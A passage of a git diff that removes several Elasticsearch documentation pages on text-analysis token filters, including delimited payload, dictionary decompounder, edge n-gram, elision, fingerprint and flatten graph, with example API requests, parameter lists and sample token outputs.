-  "text": "the|0 brown|10 fox|5 is|0 quick|10"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, brown, fox, is, quick ]
---------------------------------------------------
-
-Note that the analyze API does not return stored payloads. For an example that
-includes returned payloads, see
-<<analysis-delimited-payload-tokenfilter-return-stored-payloads>>.
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "brown",
-      "start_offset": 6,
-      "end_offset": 14,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "fox",
-      "start_offset": 15,
-      "end_offset": 20,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "is",
-      "start_offset": 21,
-      "end_offset": 25,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "quick",
-      "start_offset": 26,
-      "end_offset": 34,
-      "type": "word",
-      "position": 4
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-delimited-payload-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`delimited-payload` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT delimited_payload
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_delimited_payload": {
-          "tokenizer": "whitespace",
-          "filter": [ "delimited_payload" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-delimited-payload-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`delimiter`::
-(Optional, string)
-Character used to separate tokens from payloads. Defaults to `|`. 
-
-`encoding`::
-+
---
-(Optional, string)
-Data type for the stored payload. Valid values are:
-
-`float`:::
-(Default) Float
-
-`identity`:::
-Characters
-
-`int`:::
-Integer
---
-
-[[analysis-delimited-payload-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `delimited_payload` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `delimited_payload` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>. The custom `delimited_payload`
-filter uses the `+` delimiter to separate tokens from payloads. Payloads are
-encoded as integers.
-
-[source,console]
---------------------------------------------------
-PUT delimited_payload_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_plus_delimited": {
-          "tokenizer": "whitespace",
-          "filter": [ "plus_delimited" ]
-        }
-      },
-      "filter": {
-        "plus_delimited": {
-          "type": "delimited_payload",
-          "delimiter": "+",
-          "encoding": "int"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-delimited-payload-tokenfilter-return-stored-payloads]]
-==== Return stored payloads
-
-Use the <<indices-create-index,create index API>> to create an index that:
-
-* Includes a field that stores term vectors with payloads.
-* Uses a <<analysis-custom-analyzer,custom index analyzer>> with the
-  `delimited_payload` filter.
-
-[source,console]
---------------------------------------------------
-PUT text_payloads
-{
-  "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "term_vector": "with_positions_payloads",
-        "analyzer": "payload_delimiter"
-      }
-    }
-  },
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "payload_delimiter": {
-          "tokenizer": "whitespace",
-          "filter": [ "delimited_payload" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Add a document containing payloads to the index.
-
-[source,console]
---------------------------------------------------
-POST text_payloads/_doc/1
-{
-  "text": "the|0 brown|3 fox|4 is|0 quick|10"
-}
---------------------------------------------------
-// TEST[continued]
-
-Use the <<docs-termvectors,term vectors API>> to return the document's tokens
-and base64-encoded payloads.
-
-[source,console]
---------------------------------------------------
-GET text_payloads/_termvectors/1
-{
-  "fields": [ "text" ],
-  "payloads": true
-}
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "text_payloads",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "found": true,
-  "took": 8,
-  "term_vectors": {
-    "text": {
-      "field_statistics": {
-        "sum_doc_freq": 5,
-        "doc_count": 1,
-        "sum_ttf": 5
-      },
-      "terms": {
-        "brown": {
-          "term_freq": 1,
-          "tokens": [
-            {
-              "position": 1,
-              "payload": "QEAAAA=="
-            }
-          ]
-        },
-        "fox": {
-          "term_freq": 1,
-          "tokens": [
-            {
-              "position": 2,
-              "payload": "QIAAAA=="
-            }
-          ]
-        },
-        "is": {
-          "term_freq": 1,
-          "tokens": [
-            {
-              "position": 3,
-              "payload": "AAAAAA=="
-            }
-          ]
-        },
-        "quick": {
-          "term_freq": 1,
-          "tokens": [
-            {
-              "position": 4,
-              "payload": "QSAAAA=="
-            }
-          ]
-        },
-        "the": {
-          "term_freq": 1,
-          "tokens": [
-            {
-              "position": 0,
-              "payload": "AAAAAA=="
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 8/"took": "$body.took"/]
diff --git a/docs/reference/analysis/tokenfilters/dictionary-decompounder-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/dictionary-decompounder-tokenfilter.asciidoc
deleted file mode 100644
index 0e3c5804f26..00000000000
--- a/docs/reference/analysis/tokenfilters/dictionary-decompounder-tokenfilter.asciidoc
+++ /dev/null
@@ -1,173 +0,0 @@
-[[analysis-dict-decomp-tokenfilter]]
-=== Dictionary decompounder token filter
-++++
-<titleabbrev>Dictionary decompounder</titleabbrev>
-++++
-
-[NOTE]
-====
-In most cases, we recommend using the faster
-<<analysis-hyp-decomp-tokenfilter,`hyphenation_decompounder`>> token filter
-in place of this filter. However, you can use the
-`dictionary_decompounder` filter to check the quality of a word list before
-implementing it in the `hyphenation_decompounder` filter.
-====
-
-Uses a specified list of words and a brute force approach to find subwords in
-compound words. If found, these subwords are included in the token output.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/compound/DictionaryCompoundWordTokenFilter.html[DictionaryCompoundWordTokenFilter],
-which was built for Germanic languages.
-
-[[analysis-dict-decomp-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`dictionary_decompounder` filter to find subwords in `Donaudampfschiff`. The
-filter then checks these subwords against the specified list of words: `Donau`,
-`dampf`, `meer`, and `schiff`.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "dictionary_decompounder",
-      "word_list": ["Donau", "dampf", "meer", "schiff"]
-    }
-  ],
-  "text": "Donaudampfschiff"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ Donaudampfschiff, Donau, dampf, schiff ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "Donaudampfschiff",
-      "start_offset" : 0,
-      "end_offset" : 16,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "Donau",
-      "start_offset" : 0,
-      "end_offset" : 16,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "dampf",
-      "start_offset" : 0,
-      "end_offset" : 16,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "schiff",
-      "start_offset" : 0,
-      "end_offset" : 16,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-dict-decomp-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`word_list`::
-+
---
-(Required+++*+++, array of strings)
-A list of subwords to look for in the token stream. If found, the subword is
-included in the token output.
-
-Either this parameter or `word_list_path` must be specified.
---
-
-`word_list_path`::
-+
---
-(Required+++*+++, string)
-Path to a file that contains a list of subwords to find in the token stream. If
-found, the subword is included in the token output.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each token in the file must be separated by a line break.
-
-Either this parameter or `word_list` must be specified.
---
-
-`max_subword_size`::
-(Optional, integer)
-Maximum subword character length. Longer subword tokens are excluded from the
-output. Defaults to `15`.
-
-`min_subword_size`::
-(Optional, integer)
-Minimum subword character length. Shorter subword tokens are excluded from the
-output. Defaults to `2`.
-
-`min_word_size`::
-(Optional, integer)
-Minimum word character length. Shorter word tokens are excluded from the
-output. Defaults to `5`.
-
-`only_longest_match`::
-(Optional, Boolean)
-If `true`, only include the longest matching subword. Defaults to `false`.
-
-[[analysis-dict-decomp-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `dictionary_decompounder` filter, duplicate it to create the
-basis for a new custom token filter. You can modify the filter using its
-configurable parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `dictionary_decompounder` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-The custom `dictionary_decompounder` filter find subwords in the
-`analysis/example_word_list.txt` file. Subwords longer than 22 characters are
-excluded from the token output.
-
-[source,console]
---------------------------------------------------
-PUT dictionary_decompound_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_dictionary_decompound": {
-          "tokenizer": "standard",
-          "filter": [ "22_char_dictionary_decompound" ]
-        }
-      },
-      "filter": {
-        "22_char_dictionary_decompound": {
-          "type": "dictionary_decompounder",
-          "word_list_path": "analysis/example_word_list.txt",
-          "max_subword_size": 22
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/edgengram-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/edgengram-tokenfilter.asciidoc
deleted file mode 100644
index a3c4fa36ce1..00000000000
--- a/docs/reference/analysis/tokenfilters/edgengram-tokenfilter.asciidoc
+++ /dev/null
@@ -1,248 +0,0 @@
-[[analysis-edgengram-tokenfilter]]
-=== Edge n-gram token filter
-++++
-<titleabbrev>Edge n-gram</titleabbrev>
-++++
-
-Forms an {wikipedia}/N-gram[n-gram] of a specified length from
-the beginning of a token.
-
-For example, you can use the `edge_ngram` token filter to change `quick` to
-`qu`.
-
-When not customized, the filter creates 1-character edge n-grams by default.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/ngram/EdgeNGramTokenFilter.html[EdgeNGramTokenFilter].
-
-[NOTE]
-====
-The `edge_ngram` filter is similar to the <<analysis-ngram-tokenizer,`ngram`
-token filter>>. However, the `edge_ngram` only outputs n-grams that start at the
-beginning of a token. These edge n-grams are useful for
-<<search-as-you-type,search-as-you-type>> queries.
-====
-
-[[analysis-edgengram-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `edge_ngram`
-filter to convert `the quick brown fox jumps` to 1-character and 2-character
-edge n-grams:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    { "type": "edge_ngram",
-      "min_gram": 1,
-      "max_gram": 2
-    }
-  ],
-  "text": "the quick brown fox jumps"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ t, th, q, qu, b, br, f, fo, j, ju ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "t",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "th",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "q",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "qu",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "b",
-      "start_offset" : 10,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "br",
-      "start_offset" : 10,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "f",
-      "start_offset" : 16,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    },
-    {
-      "token" : "fo",
-      "start_offset" : 16,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    },
-    {
-      "token" : "j",
-      "start_offset" : 20,
-      "end_offset" : 25,
-      "type" : "<ALPHANUM>",
-      "position" : 4
-    },
-    {
-      "token" : "ju",
-      "start_offset" : 20,
-      "end_offset" : 25,
-      "type" : "<ALPHANUM>",
-      "position" : 4
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-edgengram-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`edge_ngram` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT edge_ngram_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_edge_ngram": {
-          "tokenizer": "standard",
-          "filter": [ "edge_ngram" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-edgengram-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`max_gram`::
-+
---
-(Optional, integer)
-Maximum character length of a gram. For custom token filters, defaults to `2`.
-For the built-in `edge_ngram` filter, defaults to `1`.
-
-See <<analysis-edgengram-tokenfilter-max-gram-limits>>.
---
-
-`min_gram`::
-(Optional, integer)
-Minimum character length of a gram. Defaults to `1`.
-
-`preserve_original`::
-(Optional, Boolean)
-Emits original token when set to `true`. Defaults to `false`.
-
-`side`::
-+
---
-(Optional, string)
-Deprecated. Indicates whether to truncate tokens from the `front` or `back`.
-Defaults to `front`.
-
-Instead of using the `back` value, you can use the
-<<analysis-reverse-tokenfilter,`reverse`>> token filter before and after the
-`edge_ngram` filter to achieve the same results.
---
-
-[[analysis-edgengram-tokenfilter-customize]]
-==== Customize
-
-To customize the `edge_ngram` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `edge_ngram`
-filter that forms n-grams between 3-5 characters.
-
-[source,console]
---------------------------------------------------
-PUT edge_ngram_custom_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "tokenizer": "whitespace",
-          "filter": [ "3_5_edgegrams" ]
-        }
-      },
-      "filter": {
-        "3_5_edgegrams": {
-          "type": "edge_ngram",
-          "min_gram": 3,
-          "max_gram": 5
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-edgengram-tokenfilter-max-gram-limits]]
-==== Limitations of the `max_gram` parameter
-
-The `edge_ngram` filter's `max_gram` value limits the character length of
-tokens. When the `edge_ngram` filter is used with an index analyzer, this
-means search terms longer than the `max_gram` length may not match any indexed
-terms.
-
-For example, if the `max_gram` is `3`, searches for `apple` won't match the
-indexed term `app`.
-
-To account for this, you can use the
-<<analysis-truncate-tokenfilter,`truncate`>> filter with a search analyzer
-to shorten search terms to the `max_gram` character length. However, this could
-return irrelevant results.
-
-For example, if the `max_gram` is `3` and search terms are truncated to three
-characters, the search term `apple` is shortened to `app`. This means searches
-for `apple` return any indexed terms matching `app`, such as `apply`, `snapped`,
-and `apple`.
-
-We recommend testing both approaches to see which best fits your
-use case and desired search experience.
diff --git a/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc
deleted file mode 100644
index 3d6d629886c..00000000000
--- a/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
-[[analysis-elision-tokenfilter]]
-=== Elision token filter
-++++
-<titleabbrev>Elision</titleabbrev>
-++++
-
-Removes specified {wikipedia}/Elision[elisions] from
-the beginning of tokens. For example, you can use this filter to change
-`l'avion` to `avion`.
-
-When not customized, the filter removes the following French elisions by default:
-
-`l'`, `m'`, `t'`, `qu'`, `n'`, `s'`, `j'`, `d'`, `c'`, `jusqu'`, `quoiqu'`,
-`lorsqu'`, `puisqu'`
-
-Customized versions of this filter are included in several of {es}'s built-in
-<<analysis-lang-analyzer,language analyzers>>:
-
-* <<catalan-analyzer, Catalan analyzer>>
-* <<french-analyzer, French analyzer>>
-* <<irish-analyzer, Irish analyzer>>
-* <<italian-analyzer, Italian analyzer>>
-
-This filter uses Lucene's
-{lucene-analysis-docs}/util/ElisionFilter.html[ElisionFilter].
-
-[[analysis-elision-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `elision`
-filter to remove `j'` from `j’examine près du wharf`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["elision"],
-  "text" : "j’examine près du wharf"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ examine, près, du, wharf ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "examine",
-      "start_offset" : 0,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "près",
-      "start_offset" : 10,
-      "end_offset" : 14,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "du",
-      "start_offset" : 15,
-      "end_offset" : 17,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "wharf",
-      "start_offset" : 18,
-      "end_offset" : 23,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-elision-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`elision` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /elision_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_elision": {
-          "tokenizer": "whitespace",
-          "filter": [ "elision" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-elision-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-[[analysis-elision-tokenfilter-articles]]
-`articles`::
-+
---
-(Required+++*+++, array of string)
-List of elisions to remove.
-
-To be removed, the elision must be at the beginning of a token and be
-immediately followed by an apostrophe. Both the elision and apostrophe are
-removed.
-
-For custom `elision` filters, either this parameter or `articles_path` must be
-specified.
---
-
-`articles_path`::
-+
---
-(Required+++*+++, string)
-Path to a file that contains a list of elisions to remove.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each elision in the file must be separated by a line
-break.
-
-To be removed, the elision must be at the beginning of a token and be
-immediately followed by an apostrophe. Both the elision and apostrophe are
-removed.
-
-For custom `elision` filters, either this parameter or `articles` must be
-specified.
---
-
-`articles_case`::
-(Optional, Boolean)
-If `true`, the filter treats any provided elisions as case sensitive.
-Defaults to `false`.
-
-[[analysis-elision-tokenfilter-customize]]
-==== Customize
-
-To customize the `elision` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom case-sensitive `elision`
-filter that removes the `l'`, `m'`, `t'`, `qu'`, `n'`, `s'`,
-and `j'` elisions:
-
-[source,console]
---------------------------------------------------
-PUT /elision_case_sensitive_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "tokenizer": "whitespace",
-          "filter": [ "elision_case_sensitive" ]
-        }
-      },
-      "filter": {
-        "elision_case_sensitive": {
-          "type": "elision",
-          "articles": [ "l", "m", "t", "qu", "n", "s", "j" ],
-          "articles_case": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/fingerprint-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/fingerprint-tokenfilter.asciidoc
deleted file mode 100644
index 78a96376351..00000000000
--- a/docs/reference/analysis/tokenfilters/fingerprint-tokenfilter.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[[analysis-fingerprint-tokenfilter]]
-=== Fingerprint token filter
-++++
-<titleabbrev>Fingerprint</titleabbrev>
-++++
-
-Sorts and removes duplicate tokens from a token stream, then concatenates the
-stream into a single output token. 
-
-For example, this filter changes the `[ the, fox, was, very, very, quick ]`
-token stream as follows:
-
-. Sorts the tokens alphabetically to `[ fox, quick, the, very, very, was ]`
-
-. Removes a duplicate instance of the `very` token.
-
-. Concatenates the token stream to a output single token: `[fox quick the very was ]`
-
-Output tokens produced by this filter are useful for
-fingerprinting and clustering a body of text as described in the
-https://github.com/OpenRefine/OpenRefine/wiki/Clustering-In-Depth#fingerprint[OpenRefine
-project].
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/FingerprintFilter.html[FingerprintFilter].
-
-[[analysis-fingerprint-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `fingerprint`
-filter to create a single output token for the text `zebra jumps over resting
-resting dog`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : ["fingerprint"],
-  "text" : "zebra jumps over resting resting dog"
-}
---------------------------------------------------
-
-The filter produces the following token:
-
-[source,text]
---------------------------------------------------
-[ dog jumps over resting zebra ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "dog jumps over resting zebra",
-      "start_offset" : 0,
-      "end_offset" : 36,
-      "type" : "fingerprint",
-      "position" : 0
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-fingerprint-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`fingerprint` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT fingerprint_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_fingerprint": {
-          "tokenizer": "whitespace",
-          "filter": [ "fingerprint" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-fingerprint-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-[[analysis-fingerprint-tokenfilter-max-size]]
-`max_output_size`::
-(Optional, integer)
-Maximum character length, including whitespace, of the output token. Defaults to
-`255`. Concatenated tokens longer than this will result in no token output.
-
-`separator`::
-(Optional, string)
-Character to use to concatenate the token stream input. Defaults to a space.
-
-[[analysis-fingerprint-tokenfilter-customize]]
-==== Customize
-
-To customize the `fingerprint` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `fingerprint` filter with
-that use `+` to concatenate token streams. The filter also limits
-output tokens to `100` characters or fewer.
-
-[source,console]
---------------------------------------------------
-PUT custom_fingerprint_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_": {
-          "tokenizer": "whitespace",
-          "filter": [ "fingerprint_plus_concat" ]
-        }
-      },
-      "filter": {
-        "fingerprint_plus_concat": {
-          "type": "fingerprint",
-          "max_output_size": 100,
-          "separator": "+"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc
deleted file mode 100644
index b719ea376a2..00000000000
--- a/docs/reference/analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc
+++ /dev/null
@@ -1,227 +0,0 @@
-[[analysis-flatten-graph-tokenfilter]]
-=== Flatten graph token filter
-++++
-<titleabbrev>Flatten graph</titleabbrev>
-++++
-
-Flattens a <<token-graphs,token graph>> produced by a graph token filter, such
-as <<analysis-synonym-graph-tokenfilter,`synonym_graph`>> or
-<<analysis-word-delimiter-graph-tokenfilter,`word_delimiter_graph`>>.
-
-Flattening a token graph containing
-<<token-graphs-multi-position-tokens,multi-position tokens>> makes the graph
-suitable for <<analysis-index-search-time,indexing>>. Otherwise, indexing does
-not support token graphs containing multi-position tokens.
-
-[WARNING]
-====
-Flattening graphs is a lossy process.
-
-If possible, avoid using the `flatten_graph` filter. Instead, use graph token
-filters in <<analysis-index-search-time,search analyzers>> only. This eliminates
-the need for the `flatten_graph` filter.
-====
-
-The `flatten_graph` filter uses Lucene's
-{lucene-analysis-docs}/core/FlattenGraphFilter.html[FlattenGraphFilter].
-
-[[analysis-flatten-graph-tokenfilter-analyze-ex]]
-==== Example
-
-To see how the `flatten_graph` filter works, you first need to produce a token
-graph containing multi-position tokens.
-
-The following <<indices-analyze,analyze API>> request uses the `synonym_graph`
-filter to add `dns` as a multi-position synonym for `domain name system` in the
-text `domain name system is fragile`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "synonym_graph",
-      "synonyms": [ "dns, domain name system" ]
-    }
-  ],
-  "text": "domain name system is fragile"
-}
-----
-
-The filter produces the following token graph with `dns` as a multi-position
-token.
-
-image::images/analysis/token-graph-dns-synonym-ex.svg[align="center"]
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "dns",
-      "start_offset": 0,
-      "end_offset": 18,
-      "type": "SYNONYM",
-      "position": 0,
-      "positionLength": 3
-    },
-    {
-      "token": "domain",
-      "start_offset": 0,
-      "end_offset": 6,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "name",
-      "start_offset": 7,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "system",
-      "start_offset": 12,
-      "end_offset": 18,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "is",
-      "start_offset": 19,
-      "end_offset": 21,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "fragile",
-      "start_offset": 22,
-      "end_offset": 29,
-      "type": "<ALPHANUM>",
-      "position": 4
-    }
-  ]
-}
-----
-////
-
-Indexing does not support token graphs containing multi-position tokens. To make
-this token graph suitable for indexing, it needs to be flattened.
-
-To flatten the token graph, add the `flatten_graph` filter after the
-`synonym_graph` filter in the previous analyze API request.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "synonym_graph",
-      "synonyms": [ "dns, domain name system" ]
-    },
-    "flatten_graph"
-  ],
-  "text": "domain name system is fragile"
-}
-----
-
-The filter produces the following flattened token graph, which is suitable for
-indexing.
-
-image::images/analysis/token-graph-dns-invalid-ex.svg[align="center"]
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "dns",
-      "start_offset": 0,
-      "end_offset": 18,
-      "type": "SYNONYM",
-      "position": 0,
-      "positionLength": 3
-    },
-    {
-      "token": "domain",
-      "start_offset": 0,
-      "end_offset": 6,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "name",
-      "start_offset": 7,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "system",
-      "start_offset": 12,
-      "end_offset": 18,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "is",
-      "start_offset": 19,
-      "end_offset": 21,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "fragile",
-      "start_offset": 22,
-      "end_offset": 29,
-      "type": "<ALPHANUM>",
-      "position": 4
-    }
-  ]
-}
-----
-////
-
-[[analysis-keyword-marker-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`flatten_graph` token filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-In this analyzer, a custom `word_delimiter_graph` filter produces token graphs
-containing catenated, multi-position tokens. The `flatten_graph` filter flattens
-these token graphs, making them suitable for indexing.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_index_analyzer": {
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "my_custom_word_delimiter_graph_filter",
-            "flatten_graph"
-          ]
-        }
-      },
-      "filter": {
-        "my_custom_word_delimiter_graph_filter": {
-          "type": "word_delimiter_graph",
-          "catenate_all": true
-        }
-      }
-    }
-  }
-}
-----
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/hunspell-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/hunspell-tokenfilter.asciidoc
deleted file mode 100644
index 068ee36877f..00000000000
--- a/docs/reference/analysis/tokenfilters/hunspell-tokenfilter.asciidoc
+++ /dev/null
@@ -1,247 +0,0 @@
-[[analysis-hunspell-tokenfilter]]
-=== Hunspell token filter
-++++
-<titleabbrev>Hunspell</titleabbrev>
-++++
-
-Provides <<dictionary-stemmers,dictionary stemming>> based on a provided
-{wikipedia}/Hunspell[Hunspell dictionary]. The `hunspell`
-filter requires
-<<analysis-hunspell-tokenfilter-dictionary-config,configuration>> of one or more
-language-specific Hunspell dictionaries.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/hunspell/HunspellStemFilter.html[HunspellStemFilter].
-
-[TIP]
-====
-If available, we recommend trying an algorithmic stemmer for your language
-before using the <<analysis-hunspell-tokenfilter,`hunspell`>> token filter.
-In practice, algorithmic stemmers typically outperform dictionary stemmers.
-See <<dictionary-stemmers>>.
-====
-
-[[analysis-hunspell-tokenfilter-dictionary-config]]
-==== Configure Hunspell dictionaries
-
-By default, Hunspell dictionaries are stored and detected on a dedicated
